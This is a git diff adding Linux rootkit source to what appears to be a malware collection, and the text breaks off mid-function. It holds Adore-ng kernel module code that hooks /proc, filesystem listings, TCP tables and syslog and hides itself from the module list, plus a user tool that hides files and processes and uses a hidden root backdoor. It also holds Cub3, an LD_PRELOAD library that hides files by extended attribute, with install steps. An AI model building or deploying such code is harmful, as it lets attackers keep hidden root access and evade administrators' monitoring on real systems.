new_inode_op = (struct inode_operations *)filep->f_dentry->d_inode->i_op; + orig_proc_lookup = new_inode_op->lookup; + new_inode_op->lookup = adore_lookup; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir); + patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir); + if (opt_fs) + patch_vfs(opt_fs, &orig_opt_readdir, adore_opt_readdir); +#else + patch_vfs(proc_fs, &orig_proc_iterate, adore_proc_iterate); + patch_vfs(root_fs, &orig_root_iterate, adore_root_iterate); + if (opt_fs) + patch_vfs(opt_fs, &orig_opt_iterate, adore_opt_iterate); +#endif + + t_afinfo = proc_find_tcp_seq(); + if (t_afinfo) { + orig_tcp4_seq_show = t_afinfo->seq_ops.show; + t_afinfo->seq_ops.show = adore_tcp4_seq_show; + printk("patch proc_net: %p --> %p\n", orig_tcp4_seq_show, adore_tcp4_seq_show); + } + patch_syslog(); + + j = 0; + for (i = 0; var_filenames[i]; ++i) { + var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0); + if (IS_ERR(var_files[i])) { + var_files[i] = NULL; + continue; + } + if (!j) { /* just replace one time, its all the same FS */ + new_op = (struct file_operations *)(var_files[i]->f_op); + orig_var_write = new_op->write; + new_op->write = adore_var_write; + j = 1; + } + } + filp_close(filep, 0); + + me = THIS_MODULE; + m = &me->list; + +/* Newer 2.6 have an entry in /sys/modules for each LKM */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,11) + kobject_unregister(&me->mkobj.kobj); +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,8) + kobject_unregister(&me->mkobj->kobj); +#endif + + p = m->prev; + n = m->next; + + n->prev = p; + p->next = n; + + setback_cr0(orig_cr0); + return 0; +} + +void __exit adore_cleanup(void) +{ + struct file_operations *new_op; + struct inode_operations *new_inode_op; + int i = 0, j = 0; + struct file *filep; + + if (t_afinfo && orig_tcp4_seq_show) + { + printk("unpatch proc_net: %p --> %p\n", t_afinfo->seq_ops.show, orig_tcp4_seq_show); + t_afinfo->seq_ops.show = orig_tcp4_seq_show; + } + + orig_cr0 = clear_return_cr0(); + + filep = filp_open(proc_fs, O_RDONLY|O_DIRECTORY, 0); + if (IS_ERR(filep)) + return ; + + new_inode_op = (struct inode_operations *)filep->f_dentry->d_inode->i_op; + new_inode_op->lookup = orig_proc_lookup; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + unpatch_vfs(proc_fs, orig_proc_readdir); + unpatch_vfs(root_fs, orig_root_readdir); + if (orig_opt_readdir) + unpatch_vfs(opt_fs, orig_opt_readdir); +#else + unpatch_vfs(proc_fs, orig_proc_iterate); + unpatch_vfs(root_fs, orig_root_iterate); + if (orig_opt_readdir) + unpatch_vfs(opt_fs, orig_opt_iterate); +#endif + + j = 0; + for (i = 0; var_filenames[i]; ++i) { + if (var_files[i]) { + if (!j) { + new_op = (struct file_operations *)var_files[i]->f_op; + new_op->write = orig_var_write; + j = 1; + } + filp_close(var_files[i], 0); + } + } + + filp_close(filep, 0); + setback_cr0(orig_cr0); +} + +module_init(adore_init); +module_exit(adore_cleanup); + +#ifdef CROSS_BUILD +MODULE_INFO(vermagic, "VERSION MAGIC GOES HERE"); +#endif + +MODULE_LICENSE("GPL"); diff --git a/Linux/Rootkits/Adore-ng/adore-ng.h b/Linux/Rootkits/Adore-ng/adore-ng.h new file mode 100644 index 0000000..5f3ce16 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/adore-ng.h @@ -0,0 +1,63 @@ +/*** (C) 2003-2005 by Stealth -- http://stealth.7350.org + *** + *** + *** (C)'ed Under a BSDish license. Please look at LICENSE-file. + *** SO YOU USE THIS AT YOUR OWN RISK! + *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. + *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! + *** + *** -> Use ava to get all the things workin'. + *** + *** Greets fly out to all my friends. You know who you are. :) + *** Special thanks to Shivan for granting root access to his + *** SMP box for adore-development. More thx to skyper for also + *** granting root access. + *** + ***/ +#ifndef __ADORE_NG_H__ +#define __ADORE_NG_H__ + +/* to check whether request is legal */ +#define PF_AUTH 0x1000000 + +#ifndef ELITE_UID +#error "No ELITE_UID given!" +#endif + +#ifndef ELITE_GID +#error "No ELITE_GID given!" +#endif + +#ifndef ADORE_KEY +#error "No ADORE_KEY given!" +#endif + +#define ADORE_VERSION CURRENT_ADORE + +/* Very old kernels don't have an equivalent macro... */ +#define LinuxVersionCode(v, p, s) (((v)<<16)+((p)<<8)+(s)) + +u_short HIDDEN_SERVICES[] = + {2222, 7350, 9099, 0}; + +/* END CHANGE SECTION */ + +struct task_struct *adore_find_task(pid_t); + +int adore_atoi(const char *); +extern struct module *module_list; + +#if defined LINUX26 || REDHAT9 +#undef for_each_task +#define for_each_task for_each_process +#endif + +/* This probably does not exactly belong to the kernel version but + * also to the GCC version used. Change here if it does not work + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,16) +//#define MODIFY_PAGE_TABLES +#undef MODIFY_PAGE_TABLES +#endif + +#endif /* __ADORE_NG_H__ */ diff --git a/Linux/Rootkits/Adore-ng/ava.c b/Linux/Rootkits/Adore-ng/ava.c new file mode 100644 index 0000000..fde5f0b --- /dev/null +++ b/Linux/Rootkits/Adore-ng/ava.c @@ -0,0 +1,146 @@ +/* + * Copyright (C) 1999-2005 Stealth. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Stealth. + * 4. The name Stealth may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "libinvisible.h" + +extern char **environ; + +const char *adore_key = ADORE_KEY; +const uid_t elite_uid = ELITE_UID; +const gid_t elite_gid = ELITE_GID; +const int current_adore = CURRENT_ADORE; + +int main(int argc, char *argv[]) +{ + int version; + char what; + adore_t *a; + + if (argc < 3 && !(argc == 2 && + (argv[1][0] == 'U' || argv[1][0] == 'I'))) { + printf("Usage: %s {h,u,r,R,i,v,U} [file or PID]\n\n" + " I print info (secret UID etc)\n" + " h hide file\n" + " u unhide file\n" + " r execute as root\n" + " R remove PID forever\n" + " U uninstall adore\n" + " i make PID invisible\n" + " v make PID visible\n\n", argv[0]); + exit(1); + } + what = argv[1][0]; + + //printf("Checking for adore 0.12 or higher ...\n"); + + a = adore_init(); + if (adore_makeroot(a) < 0) + fprintf(stderr, "Failed to run as root. Trying anyway ...\n"); + + if ((version = adore_getvers(a)) <= 0 && what != 'I') { + printf("Adore NOT installed. Exiting.\n"); + exit(1); + } + if (version < CURRENT_ADORE) + printf("Found adore 1.%d installed. Please update adore.", version); + else + printf("Adore 1.%d installed. Good luck.\n", version); + + switch (what) { + + /* hide file */ + case 'h': + if (adore_hidefile(a, argv[2]) >= 0) + printf("File '%s' is now hidden.\n", argv[2]); + else + printf("Can't hide file.\n"); + break; + + /* unhide file */ + case 'u': + if (adore_unhidefile(a, argv[2]) >= 0) + printf("File '%s' is now visible.\n", argv[2]); + else + printf("Can't unhide file.\n"); + break; + /* make pid invisible */ + case 'i': + if (adore_hideproc(a, (pid_t)atoi(argv[2])) >= 0) + printf("Made PID %d invisible.\n", atoi(argv[2])); + else + printf("Can't hide process.\n"); + break; + + /* make pid visible */ + case 'v': + if (adore_unhideproc(a, (pid_t)atoi(argv[2])) >= 0) + printf("Made PID %d visible.\n", atoi(argv[2])); + else + printf("Can't unhide process.\n"); + break; + /* execute command as root */ + case 'r': + execvp(argv[2], argv+2); + perror("execve"); + break; + case 'R': + if (adore_removeproc(a, (pid_t)atoi(argv[2])) >= 0) + printf("Removed PID %d from taskstruct\n", atoi(argv[2])); + else + printf("Failed to remove proc.\n"); + break; + /* uninstall adore */ + case 'U': + if (adore_uninstall(a) >= 0) + printf("Adore 0.%d de-installed.\n", version); + else + printf("Adore wasn't installed.\n"); + break; + case 'I': + printf("\nELITE_UID: %u, ELITE_GID=%u, ADORE_KEY=%s " + "CURRENT_ADORE=%d\n", + elite_uid, elite_gid, adore_key, current_adore); + break; + default: + printf("Did nothing or failed.\n"); + } + return 0; +} + diff --git a/Linux/Rootkits/Adore-ng/libinvisible.c b/Linux/Rootkits/Adore-ng/libinvisible.c new file mode 100644 index 0000000..788faa0 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/libinvisible.c @@ -0,0 +1,183 @@ +/* + * Copyright (C) 1999-2005 Stealth. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Stealth. + * 4. The name Stealth may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +/* Upper layer to be independant from implementation of + * kernel-hacks. + * Just write appropriate functions for new kernel-mods, + * and ava.c will be happy. + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "libinvisible.h" + +int getresuid(uid_t *, uid_t *, uid_t *); + +#ifdef ADORE_LSM +#define APREFIX "/tmp" +#else +#define APREFIX "/proc" +#endif + +#define APREFIX "/proc" + +#ifdef linux +adore_t *adore_init() +{ + int fd; + uid_t r, e, s; + adore_t *ret = calloc(1, sizeof(adore_t)); + + fd = open(APREFIX"/"ADORE_KEY, O_RDWR|O_CREAT, 0); + close(fd); + unlink(APREFIX"/"ADORE_KEY); + getresuid(&r, &e, &s); + + printf("%d,%d,%d,%d\n",CURRENT_ADORE,r,e,s); + + if (s == getuid() && getuid() != CURRENT_ADORE) { + fprintf(stderr, + "Failed to authorize myself. No luck, no adore?\n"); + ret->version = -1; + } else + ret->version = s; + return ret; +} + +/* Hide a file + */ +int adore_hidefile(adore_t *a, char *path) +{ + return lchown(path, ELITE_UID, ELITE_GID); +} + +/* Unhide a file + */ +int adore_unhidefile(adore_t *a, char *path) +{ + return lchown(path, 0, 0); +} + +/* Hide a process with PID pid + */ +int adore_hideproc(adore_t *a, pid_t pid) +{ + char buf[1024]; + + if (pid == 0) + return -1; + + sprintf(buf, APREFIX"/hide-%d", pid); + close(open(buf, O_RDWR|O_CREAT, 0)); + unlink(buf); + return 0; +} + +/* make visible again */ +int adore_unhideproc(adore_t *a, pid_t pid) +{ + char buf[1024]; + + if (pid == 0) + return -1; + sprintf(buf, APREFIX"/unhide-%d", pid); + close(open(buf, O_RDWR|O_CREAT, 0)); + unlink(buf); + return 0; +} + +/* permanently remove proc + */ +int adore_removeproc(adore_t *a, pid_t pid) +{ + printf("Not supported in this version.\n"); + return 1; +} + +/* use the hidden setuid(0)-like backdoor + */ +int adore_makeroot(adore_t *a) +{ + /* now already handled by adore_init() */ + close(open(APREFIX"/fullprivs", O_RDWR|O_CREAT, 0)); + unlink(APREFIX"/fullprivs"); + if (geteuid() != 0) + return -1; + return 0; +} + +/* return version number of installed adore + */ +int adore_getvers(adore_t *a) +{ + if (!a) + return -1; + return a->version; +} + +int adore_free(adore_t *a) +{ + free(a); + return 0; +} + +/* uninstall adore + */ +int adore_uninstall(adore_t *a) +{ + close(open(APREFIX"/uninstall", O_RDWR|O_CREAT, 0)); + return 0; +} + +/* disappeared in 0.3 */ +int adore_disable_logging(adore_t *a) +{ + return -ENOENT; +} + +/* ditto */ +int adore_enable_logging(adore_t *a) +{ + return -ENOENT; +} + +#else +#error "Not supported architecture (Not Linux)." +#endif /* linux */ + diff --git a/Linux/Rootkits/Adore-ng/libinvisible.h b/Linux/Rootkits/Adore-ng/libinvisible.h new file mode 100644 index 0000000..186e710 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/libinvisible.h @@ -0,0 +1,74 @@ +/* + * Copyright (C) 1999-2005 Stealth. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Stealth. + * 4. The name Stealth may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef _LIBINVISIBLE_H_ +#define _LIBINVISIBLE_H_ + +#include + +/* Whenever you change this, do so in adore.c!!! + */ +#define SIGINVISIBLE 100 +#define SIGVISIBLE 101 +#define SIGREMOVE 102 + +typedef struct adore_t { + int version; + /* nothing more yet */ +} adore_t; + +adore_t *adore_init(); + +/* adore_t as first argument is something like + * 'this' in C++. + * It isn't much used yet, but good for later + * extensions. + */ +int adore_hidefile(adore_t *, char *); +int adore_unhidefile(adore_t *, char *); + +int adore_hideproc(adore_t *, pid_t); +int adore_removeproc(adore_t *, pid_t); +int adore_unhideproc(adore_t *, pid_t); + +int adore_makeroot(adore_t *); +int adore_free(adore_t *); +int adore_getvers(adore_t *); +int adore_free(adore_t *); + +int adore_disable_logging(adore_t *); +int adore_enable_logging(adore_t *); + +int adore_uninstall(adore_t *); + +#endif + diff --git a/Linux/Rootkits/Cub3/README.md b/Linux/Rootkits/Cub3/README.md new file mode 100644 index 0000000..77cc8df --- /dev/null +++ b/Linux/Rootkits/Cub3/README.md @@ -0,0 +1,54 @@ +# cub3 (cube-three) +
+Typically, magic strings and magic GIDs are used to hide LD_PRELOAD rootkit files, but both of those methods are flawed.
+GID protection is flawed as, usually, the magic GID can actually be bruteforced. An example way of doing this is by calling chown() in a repeating loop with a forever incrementing GID until the chown() function returns -1 (and/or an error number).
+Magic strings are over convoluted and require a tad more programming if used, but it mostly comes down to the programmer of the malware screwing up when it comes to logic-type situations. They're generally just worse than GID protections.

+So here I am! Providing a PoC work around for both inconveniences.
+cub3 uses extended attributes (xattr) to protect its files.
+xattr is supported by the ext2, ext3, ext4, JFS, Squashfs, Yaffs2, ReiserFS, XFS, Btrfs, OrangeFS, Lustre, OCFS2 1.6 and F2FS file systems in Linux. If you're trying to install cub3 on an unsupported file system, that's your fault for being on a box with a terrible file system.
+You can easily adapt this to be much better. Improvements can be made, such as using a random magic xattr string.

+As far as process hiding goes, you can still use GID protections for process hiding, but ONLY for process hiding. You can't use xattr protection for process hiding as the procfs (the file system used by /proc/) doesn't support extended attributes.
+Extended attributes can also be disabled in the kernel, too.
+http://pastebin.com/rZvjDzFK is an example GID bruteforcer.

+ +## installation instructions + +DO NOT TOUCH CONFIG.H. INSTALL.SH HANDLES THIS FILE.
+
+``` +git clone https://github.com/x-0rd/cub3.git +cd cub3 +./install.sh +``` +

+After installation, the installation script will tell you how to remove cub3 once you're done with it. In case you're a baby, here's how you do it. MAKE SURE YOU'RE ROOT FIRST.
+``` +export DEFAULT_ENV=1 +chattr -ia /etc/ld.so.preload +rm -rf /etc/ld.so.preload /lib/cub3.so +``` +

Done.

+I added a small feature to allow you to dynamically hide/unhide files/directories. To access this feature, make sure you're in a root shell and export your environment variable. Then type `./hide ` and you'll be shown usage instructions. To unhide files, just change hide to unhide. It's that simple.
+This function is handled by the execve() call.

+## disclaimer & misc information +
    +
  • cub3 is not supposed to be used as a rootkit. It has no backdoor functionality, and does nothing malicious on its own. You are given means to remove it easily.
  • +
  • In no way does cub3 try to hide itself. You can still see that the shared object is being loaded by /proc/self/[s]maps, ldd output, LD environment variables, ltrace, dlsym address comparisons/verifications, dlinfo output - general libdl tricks.
  • +
  • There's a setting in config.h you may want to enable. The "DEBUG" constant is set by default to off, if you enable it, you'll see output from every hooked libc function.
  • +
  • I'm lazy and didn't hook any of the stat functions. I didn't deem it necessary.
  • +
  • I'm not responsible for what you do with what I'm giving you.
  • +
+## list of hooked libc functions +
    +
  • listxattr, llistxattr, flistxattr
  • +
  • getxattr, lgetxattr, fgetxattr
  • +
  • setxattr, lsetxattr, fsetxattr
  • +
  • removexattr, lremovexattr, fremovexattr
  • +
  • open, open64, openat, creat
  • +
  • unlink, unlinkat, rmdir
  • +
  • symlink, symlinkat
  • +
  • mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64
  • +
  • execve
  • +
+## contact +Email: xor@cock.lu diff --git a/Linux/Rootkits/Cub3/config.h b/Linux/Rootkits/Cub3/config.h new file mode 100644 index 0000000..ef08b8e --- /dev/null +++ b/Linux/Rootkits/Cub3/config.h @@ -0,0 +1,10 @@ +#ifndef CONFIG_H +#define CONFIG_H + +#define HIDDEN_XATTR_STR "CHANGEME0" +#define OWNER_ENV_VAR "CHANGEME1" +#define EXECVE_PASS "CHANGEME2" + +#undef DEBUG + +#endif diff --git a/Linux/Rootkits/Cub3/cub3.c b/Linux/Rootkits/Cub3/cub3.c new file mode 100644 index 0000000..274b322 --- /dev/null +++ b/Linux/Rootkits/Cub3/cub3.c @@ -0,0 +1,734 @@ +/* + * + * ██████╗██╗ ██╗██████╗ ██████╗ + * ██╔â•â•â•â•â•â–ˆâ–ˆâ•‘ ██║██╔â•â•â–ˆâ–ˆâ•—â•šâ•â•â•â•â–ˆâ–ˆâ•— + * ██║ ██║ ██║██████╔╠█████╔╠+ * ██║ ██║ ██║██╔â•â•â–ˆâ–ˆâ•— â•šâ•â•â•â–ˆâ–ˆâ•— + * ╚██████╗╚██████╔â•â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ•”â•â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ•”â• + * â•šâ•â•â•â•â•â• â•šâ•â•â•â•â•â• â•šâ•â•â•â•â•â• â•šâ•â•â•â•â•â• + * + * Small proof of concept to show + * how extended attributes can be + * utilised to protect files in + * LD_PRELOAD malware. + * + * More information and + * installation instructions + * available in README.md + * + * Contact me (email): + * xor@cock.lu + * + */ + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include + +#include // xattr is abbreviated version of extended attributes. basically the heart and soul of cub3 :) +#include +#include + +#include "config.h" + +// main functions of this poc. checks if the file is protected by the magic xattr string +int hidden_xattr(const char *file); +int hidden_fxattr(int fd); + +// allows for removal of cub3 after you're done playing around with it. just requires root and set env var +int rm_shell(void); + +// old_ functions. allows for callback to original libc functions +// xattr stuff +// list +ssize_t (*old_listxattr)(const char *path, char *list, size_t size); +ssize_t (*old_llistxattr)(const char *path, char *list, size_t size); +ssize_t (*old_flistxattr)(int fd, char *list, size_t size); +// get +ssize_t (*old_getxattr)(const char *path, const char *name, void *value, size_t size); +ssize_t (*old_lgetxattr)(const char *path, const char *name, void *value, size_t size); +ssize_t (*old_fgetxattr)(int fd, const char *name, void *value, size_t size); +// set +int (*old_setxattr)(const char *path, const char *name, const void *value, size_t size, int flags); +int (*old_lsetxattr)(const char *path, const char *name, const void *value, size_t size, int flags); +int (*old_fsetxattr)(int fd, const char *name, const void *value, size_t size, int flags); +// remove +int (*old_removexattr)(const char *path, const char *name); +int (*old_lremovexattr)(const char *path, const char *name); +int (*old_fremovexattr)(int fd, const char *name); + +// open() stuff +int (*old_open)(const char *pathname, int flags, mode_t mode); +int (*old_open64)(const char *pathname, int flags, mode_t mode); +int (*old_openat)(int dirfd, const char *pathname, int flags, mode_t mode); +int (*old_creat)(const char *pathname, mode_t mode); + +// unlink() stuff +int (*old_unlink)(const char *pathname); +int (*old_unlinkat)(int dirfd, const char *pathname, int flags); +int (*old_rmdir)(const char *pathname); + +// symlink() stuff +int (*old_symlink)(const char *target, const char *linkpath); +int (*old_symlinkat)(const char *target, int newdirfd, const char *linkpath); + +// directory stuff +int (*old_mkdir)(const char *pathname, mode_t mode); +int (*old_mkdirat)(int dirfd, const char *pathname, mode_t mode); +int (*old_chdir)(const char *path); +int (*old_fchdir)(int fd); +DIR *(*old_opendir)(const char *name); +DIR *(*old_opendir64)(const char *name); +DIR *(*old_fdopendir)(int fd); +struct dirent *(*old_readdir)(DIR *dirp); +struct dirent64 *(*old_readdir64)(DIR *dirp); + +// hooking execve() so we can dynamically hide/unhide files/directories +int (*old_execve)(const char *filename, char *const argv[], char *const envp[]); + +int hidden_xattr(const char *file) +{ + #ifdef DEBUG + printf("[cub3]: hidden_xattr() called\n"); + printf("[cub3]: going to attempt to distinguish visibility of file %s\n", file); + #endif + + ssize_t buflen, keylen; + char *buf, *key; + + if(!old_listxattr) old_listxattr = dlsym(RTLD_NEXT, "listxattr"); + + if((buflen = old_listxattr(file, NULL, 0)) == -1) + { + return 0; + }else if(buflen == 0){ + return buflen; + } + + buf = malloc(buflen); + if((buflen = old_listxattr(file, buf, buflen)) == -1) return 0; // fuuuck + + key = buf; + + while(buflen > 0) + { + if(strstr(key, HIDDEN_XATTR_STR)) + { + #ifdef DEBUG + printf("[cub3]: file %s is protected with extended attributes\n", file); + #endif + + free(buf); return 1; // don't bother loading the next attribute.. no point lol + } + + keylen = strlen(key) + 1; buflen -= keylen; key += keylen; + } + + free(buf); return 0; // nothing came up.. this makes us sad :( +} + +int hidden_fxattr(int fd) +{ + #ifdef DEBUG + printf("[cub3]: hidden_fxattr() called\n"); + printf("[cub3]: going to attempt to distinguish visiblity of fd %d\n", fd); + #endif + + ssize_t buflen, keylen; + char *buf, *key; + + if(!old_flistxattr) old_flistxattr = dlsym(RTLD_NEXT, "flistxattr"); + + if((buflen = old_flistxattr(fd, NULL, 0)) == -1) + { + return 0; + }else if(buflen == 0){ + return buflen; + } + + buf = malloc(buflen); + if((buflen = old_flistxattr(fd, buf, buflen)) == -1) return 0; + + key = buf; + + while(buflen > 0) + { + if(strstr(key, HIDDEN_XATTR_STR)) + { + #ifdef DEBUG + printf("[cub3]: fd %d is protected with extended attributes\n", fd); + #endif + + free(buf); return 1; + } + + keylen = strlen(key) + 1; buflen -= keylen; key += keylen; + } + + free(buf); return 0; +} + +int rm_shell(void) +{ + #ifdef DEBUG + printf("[cub3]: rm_shell() called\n"); + #endif + + if(getuid() == 0 && getenv(OWNER_ENV_VAR)) return 1; + return 0; +} + +// now let's start writing our hooked functions :) + +ssize_t listxattr(const char *path, char *list, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: listxattr() called\n"); + #endif + + if(!old_listxattr) old_listxattr = dlsym(RTLD_NEXT, "listxattr"); + + if(rm_shell()) return old_listxattr(path, list, size); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_listxattr(path, list, size); +} + +ssize_t llistxattr(const char *path, char *list, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: llistxattr() called\n"); + #endif + + if(!old_llistxattr) old_llistxattr = dlsym(RTLD_NEXT, "llistxattr"); + + if(rm_shell()) return old_llistxattr(path, list, size); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_llistxattr(path, list, size); +} + +ssize_t flistxattr(int fd, char *list, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: flistxattr() called\n"); + #endif + + if(!old_flistxattr) old_flistxattr = dlsym(RTLD_NEXT, "flistxattr"); + + if(rm_shell()) return old_flistxattr(fd, list, size); + + if(hidden_fxattr(fd)) { errno = ENOENT; return -1; } + + return old_flistxattr(fd, list, size); +} + +ssize_t getxattr(const char *path, const char *name, void *value, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: getxattr() called\n"); + #endif + + if(!old_getxattr) old_getxattr = dlsym(RTLD_NEXT, "getxattr"); + + if(rm_shell()) return old_getxattr(path, name, value, size); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_getxattr(path, name, value, size); +} + +ssize_t lgetxattr(const char *path, const char *name, void *value, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: lgetxattr() called\n"); + #endif + + if(!old_lgetxattr) old_lgetxattr = dlsym(RTLD_NEXT, "lgetxattr"); + + if(rm_shell()) return old_lgetxattr(path, name, value, size); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_lgetxattr(path, name, value, size); +} + +ssize_t fgetxattr(int fd, const char *name, void *value, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: fgetxattr() called\n"); + #endif + + if(!old_fgetxattr) old_fgetxattr = dlsym(RTLD_NEXT, "fgetxattr"); + + if(rm_shell()) return old_fgetxattr(fd, name, value, size); + + if(hidden_fxattr(fd)) { errno = ENOENT; return -1; } + + return old_fgetxattr(fd, name, value, size); +} + +int setxattr(const char *path, const char *name, const void *value, size_t size, int flags) +{ + #ifdef DEBUG + printf("[cub3]: setxattr() called\n"); + #endif + + if(!old_setxattr) old_setxattr = dlsym(RTLD_NEXT, "setxattr"); + + if(rm_shell()) return old_setxattr(path, name, value, size, flags); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_setxattr(path, name, value, size, flags); +} + +int lsetxattr(const char *path, const char *name, const void *value, size_t size, int flags) +{ + #ifdef DEBUG + printf("[cub3]: lsetxattr() called\n"); + #endif + + if(!old_lsetxattr) old_lsetxattr = dlsym(RTLD_NEXT, "lsetxattr"); + + if(rm_shell()) return old_lsetxattr(path, name, value, size, flags); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_lsetxattr(path, name, value, size, flags); +} + +int fsetxattr(int fd, const char *name, const void *value, size_t size, int flags) +{ + #ifdef DEBUG + printf("[cub3]: fsetxattr() called\n"); + #endif + + if(!old_fsetxattr) old_fsetxattr = dlsym(RTLD_NEXT, "fsetxattr"); + + if(rm_shell()) return old_fsetxattr(fd, name, value, size, flags); + + if(hidden_fxattr(fd)) { errno = ENOENT; return -1; } + + return old_fsetxattr(fd, name, value, size, flags); +} + +int removexattr(const char *path, const char *name) +{ + #ifdef DEBUG + printf("[cub3]: removexattr() called\n"); + #endif + + if(!old_removexattr) old_removexattr = dlsym(RTLD_NEXT, "removexattr"); + + if(rm_shell()) return old_removexattr(path, name); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_removexattr(path, name); +} + +int lremovexattr(const char *path, const char *name) +{ + #ifdef DEBUG + printf("[cub3]: lremovexattr() called\n"); + #endif + + if(!old_lremovexattr) old_lremovexattr = dlsym(RTLD_NEXT, "lremovexattr"); + + if(rm_shell()) return old_lremovexattr(path, name); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_lremovexattr(path, name); +} + +int fremovexattr(int fd, const char *name) +{ + #ifdef DEBUG + printf("[cub3]: fremovexattr() called\n"); + #endif + + if(!old_fremovexattr) 